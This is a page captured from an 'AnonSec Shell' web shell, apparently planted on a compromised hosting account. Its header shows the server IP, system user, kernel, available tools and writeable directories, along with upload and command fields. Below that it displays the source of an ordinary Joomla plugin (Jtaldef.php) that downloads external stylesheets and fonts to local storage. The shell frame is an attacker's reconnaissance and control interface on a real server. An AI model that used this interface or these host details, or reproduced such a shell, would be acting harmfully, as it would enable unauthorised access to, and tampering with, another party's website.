AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/system/jtaldef/src/Extension/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/system/jtaldef/src/Extension/Jtaldef.php
<?php

/**
 * Automatic local download external files
 *
 * @package     Joomla.Plugin
 * @subpackage  System.Jtaldef
 *
 * @author      Guido De Gobbis <support@joomtools.de>
 * @copyright   JoomTools.de - All rights reserved.
 * @license     GNU General Public License version 3 or later
 */

namespace JoomTools\Plugin\System\Jtaldef\Extension;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\Application\ApplicationEvents;
use Joomla\Application\Event\ApplicationEvent;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Application\ConsoleApplication;
use Joomla\CMS\Document\Document;
use Joomla\CMS\Event\Application\AfterRenderEvent;
use Joomla\CMS\Event\Application\BeforeCompileHeadEvent;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Profiler\Profiler;
use Joomla\CMS\Session\Session;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Event\SubscriberInterface;
use Joomla\Filesystem\Folder;
use JoomTools\Plugin\System\Jtaldef\Helper\JtaldefHelper;

/**
 * Class Jtaldef
 *
 * @since  2.0.0
 */
final class Jtaldef extends CMSPlugin implements SubscriberInterface
{
    /**
     * The version of this plugin.
     *
     * @var    string
     * @since  2.0.1
     */
    const JTALDEF_VERSION = '2.1.0';

    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     * @since  2.0.0
     */
    protected $autoloadLanguage = true;

    /**
     * Website HTML content.
     *
     * @var    string
     * @since  2.0.0
     */
    private $htmlBuffer;

    /**
     * List of indexed files.
     *
     * @var    array
     * @since  2.0.0
     */
    private $indexedFiles = [];

    /**
     * List of new indexed files to add to the index.
     *
     * @var    array
     * @since  2.0.0
     */
    private $newIndexedFiles = [];

    /**
     * Returns an array of events this subscriber will listen to.
     *
     * @return  array
     *
     * @since   2.1.0
     */
    public static function getSubscribedEvents(): array
    {
        return [
            'onBeforeCompileHead'             => 'onBeforeCompileHead',
            'onAfterRender'                   => 'onAfterRender',
            'onAjaxJtaldefClearCache'         => 'onAjaxJtaldefClearCache',
            ApplicationEvents::BEFORE_EXECUTE => 'registerCliCommands',
        ];
    }

    /**
     * Registers command classes to the CLI application.
     * This is an event handled for the ApplicationEvents::BEFORE_EXECUTE event.
     *
     * @param   ApplicationEvent  $event  The before_execite application event being handled
     *
     * @since   2.0.6
     *
     * @noinspection PhpUnused
     */
    public function registerCLICommands(ApplicationEvent $event)
    {
        $serviceId = 'CacheCleaner';

        /** @var ConsoleApplication $app */
        $app      = $event->getApplication();
        $classFQN = 'JoomTools\\Plugin\\System\\Jtaldef\\Console\\' . $serviceId;

        if (!class_exists($classFQN)) {
            throw new \RuntimeException(sprintf('Unknown JTALDEF CLI command class ā€˜%s’.', $serviceId));
        }

        $classParents = class_parents($classFQN);

        if (!in_array(AbstractCommand::class, $classParents)) {
            throw new \RuntimeException(sprintf('Invalid JTALDEF CLI command object ā€˜%s’.', $serviceId));
        }

        $o = new $classFQN();

        try {
            $app->addCommand($o);
        } catch (\Throwable $e) {
            return;
        }
    }

    /**
     * Listener for the `onBeforeCompileHead` event
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    public function onBeforeCompileHead(BeforeCompileHeadEvent $event)
    {
        /** @var CMSApplication $app */
        $app = $this->getApplication();
        $doc = $event->getDocument();
        $wa  = $doc->getWebAssetManager();

        if ($app->isClient('administrator')) {
            return;
        }

        // Set starttime for process total time
        $startTime            = microtime(1);
        $debug                = $this->params->get('debug', false);
        JtaldefHelper::$debug = $debug;

        if ($debug) {
            Profiler::getInstance('JT - ALDEF (onBeforeCompileHead)')->setStart($startTime);
        }

        try {
            $serviceToParse = (array) $this->params->get('serviceToParse', []);

            if ($this->params->get('parseLocalCssFiles', false)) {
                $serviceToParse[] = 'ParseCss';
            }

            JtaldefHelper::initializeServices($serviceToParse);

            $wa->useScript('messages');

            $parseHead = $this->params->get('parseHead', false);

            if ($parseHead) {
                $this->parseHeadStylesheetsBeforeCompiled($doc);

                $parseHeadScripts = JtaldefHelper::existsServiceToParseScripts();

                if ($parseHeadScripts) {
                    $this->parseHeadScriptsBeforeCompiled($doc);
                }
            }
        } catch (\ErrorException $e) {
            if ($debug) {
                $backtrace = LayoutHelper::render('joomla.error.backtrace', ['backtrace' => $e->getTrace()]);
                $app->enqueueMessage(
                    'Error during execution of onBeforeCompileHead():'
                        . ' <br/>' . $e->getMessage()
                        . ' <br/>in file ' . $e->getFile() . ':' . $e->getLine()
                        . ' <br/>' . $backtrace,
                    'error'
                );
            }
        }

        if ($debug) {
            $app->enqueueMessage(
                Profiler::getInstance('JT - ALDEF (onBeforeCompileHead)')->mark('Verarbeitungszeit'),
                'info'
            );
        }
    }

    /**
     * Listener for the `onAfterRender` event
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    public function onAfterRender(AfterRenderEvent $event)
    {
        /** @var CMSApplication $app */
        $app = $this->getApplication();

        if ($app->isClient('administrator')) {
            return;
        }

        // Set starttime for process total time
        $startTime = microtime(1);
        $debug     = JtaldefHelper::$debug;

        if ($debug) {
            Profiler::getInstance('JT - ALDEF (onAfterRender)')->setStart($startTime);
        }

        try {
            $parseHead = $this->params->get('parseHead', false);

            if ($parseHead) {
                $this->parseHeadLinks();
            }

            $removeNotParsedFromDom = $this->params->get('removeNotParsedFromDom', true);

            if ($removeNotParsedFromDom) {
                $app->setHeader('Link', null, true);

                $nsToRemove = (array) JtaldefHelper::getNotParsedNsFromServices();

                foreach ($nsToRemove as $ns) {
                    $this->removeNotParsedFromDom($ns);
                }
            }

            $parseHeadStyleTags = $this->params->get('parseHeadStyleTags', false);
            $parseBodyStyleTags = $this->params->get('parseBodyStyleTags', false);

            if ($parseHeadStyleTags || $parseBodyStyleTags) {
                switch (true) {
                    case $parseBodyStyleTags && !$parseHeadStyleTags:
                        $ns = "//body//style";
                        break;

                    case $parseBodyStyleTags && $parseHeadStyleTags:
                        $ns = "//style";
                        break;

                    default:
                        $ns = "//head//style";
                }

                $this->parseInlineStyles($ns);
            }
        } catch (\ErrorException $e) {
            if ($debug) {
                $backtrace = LayoutHelper::render('joomla.error.backtrace', ['backtrace' => $e->getTrace()]);
                $app->enqueueMessage(
                    'Error during execution of onAfterRender():'
                        . ' <br/>' . $e->getMessage()
                        . ' <br/>in file ' . $e->getFile() . ':' . $e->getLine()
                        . ' <br/>' . $backtrace,
                    'error'
                );
            }
        }

        if ($debug) {
            $app->enqueueMessage(
                Profiler::getInstance('JT - ALDEF (onAfterRender)')->mark('Verarbeitungszeit'),
                'info'
            );

            $this->parseMessageQueue();
        }

        // Save the index entrys in database if debug is off
        if (!empty($this->newIndexedFiles)) {
            $this->saveCacheIndex();
        }

        $app->setBody($this->getHtmlBuffer());
    }

    /**
     * Get the rendered HTML before be outputed
     *
     * @return  string
     *
     * @since   2.0.0
     */
    private function getHtmlBuffer()
    {
        /** @var CMSApplication $app */
        $app = $this->getApplication();

        if (null === $this->htmlBuffer) {
            $this->htmlBuffer = $app->getBody();
        }

        return $this->htmlBuffer;
    }

    /**
     * Set the parsed HTML buffer before be outputed
     *
     * @param   array         $searches  Array of values to search in the HTML buffer
     * @param   string|array  $replaces  Array of values to set in the HTML buffer
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function setNewHtmlBuffer($searches, $replaces)
    {
        if (empty($searches)) {
            return;
        }

        $buffer           = $this->getHtmlBuffer();
        $this->htmlBuffer = preg_replace($searches, $replaces, $buffer);
    }

    /**
     * Parse head links of special templates
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    private function parseHeadLinks()
    {
        $searches = [];
        $replaces = [];

        JtaldefHelper::setServiceTriggerList();

        $items = $this->getLinkedStylesheetsFromHead();

        foreach ($items as $item) {
            $rel         = '';
            $url         = $item->attributes()['href']->asXML();
            $url         = trim(str_replace(['href=', '"', "'"], '', $url));
            $searchQuery = null;
            $searchPath  = parse_url($url, PHP_URL_PATH);
            $isExternal  = JtaldefHelper::isExternalUrl($url);

            if (!empty($item->attributes()['rel'])) {
                $rel = $item->attributes()['rel']->asXML();
            }

            if ($isExternal) {
                $searchQuery = parse_url($url, PHP_URL_QUERY);
            }

            if (is_null($searchPath) && is_null($searchQuery)) {
                continue;
            }

            $newUrl = $this->getNewFilePath($url);

            $item->addAttribute('data-jtaldef-processed', self::JTALDEF_VERSION);

            if (false !== $newUrl) {
                $item->attributes()['href'] = $newUrl;
            }

            $replace = $item->asXML();

            // Create searches and replacements

            $search = $searchPath;

            if ($isExternal) {
                $search     = $searchPath . '?' . $searchQuery;
                $search2    = str_replace('&amp;', '&', $search);
                $searches[] = '%<link\s+(?:[^>]+?)?href=(["\'])(?:[^"\']+?)?' . preg_quote($search2) . '(?:[^"\']+?)?\\1' . $rel . '(?:[^>]+?)?>%';
                $replaces[] = $replace;
            }

            $searches[] = '%<link\s+(?:[^>]+?)?href=(["\'])(?:[^"\']+?)?' . preg_quote($search) . '(?:[^"\']+?)?\\1' . $rel . '(?:[^>]+?)?>%';
            $replaces[] = $replace;
        }

        $this->setNewHtmlBuffer($searches, $replaces);
    }

    /**
     * Parse inline styles (<style/>)
     *
     * @param   string  $ns  The namespace to search for style tags in HTML
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    private function parseInlineStyles($ns)
    {
        $searches = [];
        $replaces = [];

        // Get styles from XML buffer
        $styles = $this->getXmlBuffer($ns);

        foreach ($styles as $style) {
            $search = (string) $style;

            // Parse the inline style
            $newStyle = JtaldefHelper::getNewFileContentLink($search, 'ParseStyle');

            if (false === $newStyle) {
                continue;
            }

            // Create searches and replacements
            $searches[] = '%' . preg_quote($search) . '%';
            $replaces[] = $newStyle;
        }

        $this->setNewHtmlBuffer($searches, $replaces);
    }

    /**
     * Parse head links of special templates
     *
     * @param   Document  $document  The Dokument object
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    private function parseHeadStylesheetsBeforeCompiled(Document $document)
    {
        $newStyleSheets = [];

        foreach ($document->_styleSheets as $url => $options) {
            if (isset($options['data-jtaldef-processed'])) {
                $newStyleSheets[$url] = $options;

                continue;
            }

            $newUrl = $this->getNewFilePath($url);
            $newUrl = empty($newUrl) ? $url : $newUrl;

            $options['data-jtaldef-processed'] = self::JTALDEF_VERSION;
            $newStyleSheets[$newUrl]           = $options;
        }

        $document->_styleSheets = $newStyleSheets;
    }

    /**
     * Parse head links of special templates
     *
     * @param   Document  $document  The Dokument object
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    private function parseHeadScriptsBeforeCompiled(Document $document)
    {
        $newScripts = [];

        foreach ($document->_scripts as $url => $options) {
            if (isset($options['data-jtaldef-processed'])) {
                $newScripts[$url] = $options;

                continue;
            }

            $newUrl = $this->getNewFilePath($url);
            $newUrl = empty($newUrl) ? $url : $newUrl;

            $options['data-jtaldef-processed'] = self::JTALDEF_VERSION;
            $newScripts[$newUrl]               = $options;
        }

        $document->_scripts = $newScripts;
    }

    /**
     * Get the new file path
     *
     * @param   string  $value  Url to parse
     *
     * @return  string|boolean  Returns false on error
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    private function getNewFilePath($value)
    {
        $value         = JtaldefHelper::normalizeUrl($value);
        $isExternalUrl = JtaldefHelper::isExternalUrl($value);

        if ($isExternalUrl) {
            $isUrlSchemeAllowed = JtaldefHelper::isUrlSchemeAllowed($value);

            if (!$isUrlSchemeAllowed && JtaldefHelper::$debug) {
                $this->getApplication()->enqueueMessage(
                    Text::sprintf('PLG_SYSTEM_JTALDEF_URL_SCHEME_NOT_ALLOWED', $value),
                    'warning'
                );

                return false;
            }
        }

        // Remove unneeded query on internal file path
        if (!$isExternalUrl) {
            $value = JtaldefHelper::removeBasePath($value);
        }

        $originalId = md5($value);

        // Searching the indexes
        $indexes    = $this->getCacheIndex();
        $newIndexes = $this->newIndexedFiles;

        // Is triggered if we have a indexed entry
        switch (true) {
            case in_array($originalId, array_keys($newIndexes)):
                // Return the cached file path
                return $newIndexes[$originalId];
            case in_array($originalId, array_keys($indexes)):
                // Return the cached file path
                return $indexes[$originalId];
            default:
                break;
        }

        $process            = false;
        $newCssFile         = false;
        $downloadService    = null;
        $parseLocalCssFiles = $this->params->get('parseLocalCssFiles', true);
        $fileExt            = pathinfo($value, PATHINFO_EXTENSION);

        if (strpos($fileExt, '?') !== false) {
            $fileExt = strstr($fileExt, '?', true);
        }

        if (!$isExternalUrl && $parseLocalCssFiles && $fileExt === 'css') {
            $process         = true;
            $downloadService = 'ParseCss';
        }

        if ($isExternalUrl && JtaldefHelper::getServiceByLink($value) !== false) {
            $process = true;
        }

        // Is triggered if we have no cached entry but a class to handle it
        if ($process) {
            $newCssFile = JtaldefHelper::getNewFileContentLink($value, $downloadService);
        }

        // Register new cache entry
        if (empty($newCssFile)) {
            $newCssFile = false;
        }

        $this->addNewCacheEntry($originalId, $newCssFile);

        return $newCssFile;
    }

    /**
     * Load indexed files
     *
     * @return  array
     *
     * @since   2.0.0
     */
    private function getCacheIndex()
    {
        $indexedFiles = $this->indexedFiles;
        $fileindex    = JPATH_ROOT . '/' . JtaldefHelper::JTALDEF_UPLOAD . '/fileindex.json';

        if (empty($indexedFiles) && file_exists($fileindex)) {
            $indexedFiles = (array) json_decode(@file_get_contents($fileindex), true);
        }

        return $this->indexedFiles = $indexedFiles;
    }

    /**
     * Add new downloaded file to cache
     *
     * @param   string  $originalId     The identifier of the original file
     * @param   string  $localFilePath  The local path of the downloaded file
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function addNewCacheEntry($originalId, $localFilePath)
    {
        if (empty($originalId)) {
            return;
        }

        $this->newIndexedFiles = array_merge($this->newIndexedFiles, [$originalId => $localFilePath]);
    }

    /**
     * Get cached information from database
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function saveCacheIndex()
    {
        $newCachedFiles = $this->newIndexedFiles;

        if (!empty($newCachedFiles)) {
            $newCachedFiles = array_merge($this->getCacheIndex(), $newCachedFiles);
            $newCachedFiles = json_encode($newCachedFiles);
            $fileindexPath  = JPATH_ROOT . '/' . JtaldefHelper::JTALDEF_UPLOAD;

            if (!is_dir($fileindexPath)) {
                Folder::create($fileindexPath);
            }

            @file_put_contents($fileindexPath . '/fileindex.json', $newCachedFiles);
        }
    }

    /**
     * Check valid AJAX request
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    private function isAjaxRequest()
    {
        $xmlhttprequest = strtolower(
            $this->getApplication()->getInput()->server->get('HTTP_X_REQUESTED_WITH', '')
        );

        return  $xmlhttprequest === 'xmlhttprequest';
    }

    /**
     * Ajax methode
     *
     * @return  void
     * @throws  \Exception
     *
     * @since   2.0.0
     */
    public function onAjaxJtaldefClearCache()
    {
        $accessDenied = Text::_('JGLOBAL_AUTH_ACCESS_DENIED');

        if (!Session::checkToken()) {
            throw new \InvalidArgumentException(
                Text::sprintf('PLG_SYSTEM_JTALDEF_CLEAR_CACHE_ERROR_TOKEN', $accessDenied),
                403
            );
        }

        if (!$this->isAjaxRequest()) {
            throw new \InvalidArgumentException(
                Text::sprintf('PLG_SYSTEM_JTALDEF_CLEAR_CACHE_ERROR_AJAX_REQUEST', $accessDenied),
                403
            );
        }

        $clearIndex = Folder::delete(JPATH_ROOT . '/' . JtaldefHelper::JTALDEF_UPLOAD);

        if (!$clearIndex) {
            throw new \InvalidArgumentException(Text::_('PLG_SYSTEM_JTALDEF_CLEAR_INDEX_ERROR'), 500);
        }
    }

    /**
     * Deletes invalid UTF-8 characters from a string, before it generates the XML.
     *
     * @param   string  $string  The string to clear.
     *
     * @return  string
     *
     * @since   2.0.0
     */
    private function stripInvalidXmlCharacters($string)
    {
        if (!empty($string)) {
            $string = preg_replace('/[^[:print:]\r\n\t]/u', '', $string);

            // remove EOT+NOREP+EOX|EOT+<char> sequence (FatturaPA)
            $string = preg_replace(
                '/(\x{0004}(?:\x{201A}|\x{FFFD})(?:\x{0003}|\x{0004}).)/u',
                '',
                $string
            );

            $regex  = '@(
            [\xC0-\xC1] // Invalid UTF-8 Bytes
            | [\xF5-\xFF] // Invalid UTF-8 Bytes
            | \xE0[\x80-\x9F] // Overlong encoding of prior code point
            | \xF0[\x80-\x8F] // Overlong encoding of prior code point
            | [\xC2-\xDF](?![\x80-\xBF]) // Invalid UTF-8 Sequence Start
            | [\xE0-\xEF](?![\x80-\xBF]{2}) // Invalid UTF-8 Sequence Start
            | [\xF0-\xF4](?![\x80-\xBF]{3}) // Invalid UTF-8 Sequence Start
            | (?<=[\x0-\x7F\xF5-\xFF])[\x80-\xBF] // Invalid UTF-8 Sequence Middle
            | (?<![\xC2-\xDF]|[\xE0-\xEF]|[\xE0-\xEF][\x80-\xBF]|[\xF0-\xF4]
                |[\xF0-\xF4][\x80-\xBF]|[\xF0-\xF4][\x80-\xBF]{2})[\x80-\xBF] // Overlong Sequence
            | (?<=[\xE0-\xEF])[\x80-\xBF](?![\x80-\xBF]) // Short 3 byte sequence
            | (?<=[\xF0-\xF4])[\x80-\xBF](?![\x80-\xBF]{2}) // Short 4 byte sequence
            | (?<=[\xF0-\xF4][\x80-\xBF])[\x80-\xBF](?![\x80-\xBF]) // Short 4 byte sequence
        )@x';
            $string = preg_replace($regex, '', $string);
        }

        return $string;
    }

    /**
     * Get the HTML buffer as XML or the nodes passed by param
     *
     * @param   string  $ns  Xpath namespace to return
     *
     * @return  array|\SimpleXMLElement[]
     *
     * @since   2.0.0
     */
    private function getXmlBuffer($ns = null)
    {
        $error   = false;
        $matches = [];

        // Get html buffer
        $htmlBuffer = $this->getHtmlBuffer();

        if (empty($htmlBuffer)) {
            return [];
        }

        $htmlBuffer = str_replace('xmlns=', 'ns=', $htmlBuffer);

        $dom = new \DOMDocument;
        libxml_use_internal_errors(true);

        $dom->loadHTML($htmlBuffer);
        libxml_clear_errors();

        try {
            $xmlString = $dom->saveXML($dom->getElementsByTagName('html')->item(0));
            $xmlString = $this->stripInvalidXmlCharacters($xmlString);

            try {
                $xmlBuffer = new \SimpleXMLElement($xmlString);
            } catch (\Exception $e) {
                $error = $e->getMessage();
            }
        } catch (\Exception $e) {
            $error = $e->getMessage();
        }

        if ($error !== false) {
            $this->getApplication()->enqueueMessage($error, 'error');

            return [];
        }

        if (null !== $ns && !empty($xmlBuffer)) {
            $matches = (array) $xmlBuffer->xpath($ns);
        }

        return $matches;
    }

    /**
     * Find linked stylesheets in the head by namespace
     *
     * @return  array|\SimpleXMLElement[]
     *
     * @since   2.0.0
     */
    private function getLinkedStylesheetsFromHead()
    {
        $hrefs              = [];
        $contains           = [];
        $serviceTriggerList = JtaldefHelper::$serviceTriggerList;

        $contains[] = "contains(@href,'.css')";

        foreach ($serviceTriggerList as $trigger) {
            $contains[] = "contains(@href,'" . $trigger . "')";
        }

        $contains[] = "@rel='lazy-stylesheet'";
        $contains[] = "@rel='stylesheet'";

        $namespace = "//head//*["
            . implode(' or ', $contains)
            . "][not(contains(@data-jtaldef-processed,'"
            . self::JTALDEF_VERSION
            . "'))]";

        $hrefs = array_merge($hrefs, $this->getXmlBuffer($namespace));

        return $hrefs;
    }

    /**
     * Remove not parsed links in the head
     * 
     * @param   string  $namespace  Xpath namespace or link to remove.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function removeNotParsedFromDom($namespace)
    {
        $searches = [];

        $hrefs = $this->getXmlBuffer($namespace);

        foreach ($hrefs as $href) {
            $nodeName = $href->getName();

            switch ($nodeName) {
                case 'script':
                    $call = 'src';
                    break;
                default:
                    $call = 'href';
                    break;
            }

            $url    = $href->attributes()[$call]->asXML();
            $url    = trim(str_replace([$call . '=', '"', "'"], '', $url));
            $search = parse_url($url, PHP_URL_PATH);

            if (JtaldefHelper::isExternalUrl($url)) {
                $search = parse_url($url, PHP_URL_HOST);
            }

            // Define the regex to search for.
            $regex = '%(<' . $nodeName . '\s+(?:[^>]*?\s+)?';
            $regex .= $call . '=(["\'])[^>]*?(' . preg_quote($search) . ')[^>]*?\2[^>]*?>)%';

            // Define an unique ID for the regex.
            $id = md5($regex);

            // Add the regex to the searches
            if (!array_key_exists($id, $searches)) {
                $searches[$id] = $regex;
            }
        }

        $replaces = Text::sprintf('PLG_SYSTEM_JTALDEF_DISABLED_BY', '$1');

        $this->setNewHtmlBuffer($searches, $replaces);
    }

    /**
     * Parse message queue as javascript into <head>
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function parseMessageQueue()
    {
        // Get rendered system message output
        $oldMessagesOutput = $this->getXmlBuffer("//body//*[@id='system-message-container']");
        $jsonMessageQueue  = $this->getJsonMessageQueue();

        if (!empty($oldMessagesOutput) && !empty($jsonMessageQueue)) {
            $search = ['%</head>%'];

            if (version_compare(JVERSION, '4', 'gt')) {
                $replace = [
                    "\t" . '<script data-jtaldef-processed="joomla-messages">'
                        . 'document.addEventListener("DOMContentLoaded", () => {'
                        . 'Joomla.renderMessages(' . $jsonMessageQueue . ');'
                        . '});'
                        . '</script>'
                        . "\n" . '</head>',
                ];
            } else {
                $messageQueue                      = new \stdClass;
                $messageQueue->{'joomla.messages'} = [json_decode($jsonMessageQueue)];
                $messageQueue                      = json_encode($messageQueue);
                $replace                           = [
                    "\t" . '<script class="joomla-script-options new"'
                        . ' type="application/json"'
                        . ' data-jtaldef-processed="joomla-messages">'
                        . $messageQueue
                        . '</script>'
                        . "\n" . '</head>',
                ];
            }

            // Render updated system message output
            $this->setNewHtmlBuffer($search, $replace);
        }
    }

    /**
     * Get bundled message queue by type
     *
     * @return   string  Json encoded
     *
     * @since   2.0.0
     */
    private function getJsonMessageQueue()
    {
        $messages = [];
        $queue    = $this->getApplication()->getMessageQueue();

        foreach ($queue as $message) {
            $messages[$message['type']][] = $message['message'];
        }

        return json_encode($messages);
    }
}

Anon7 - 2022
AnonSec Team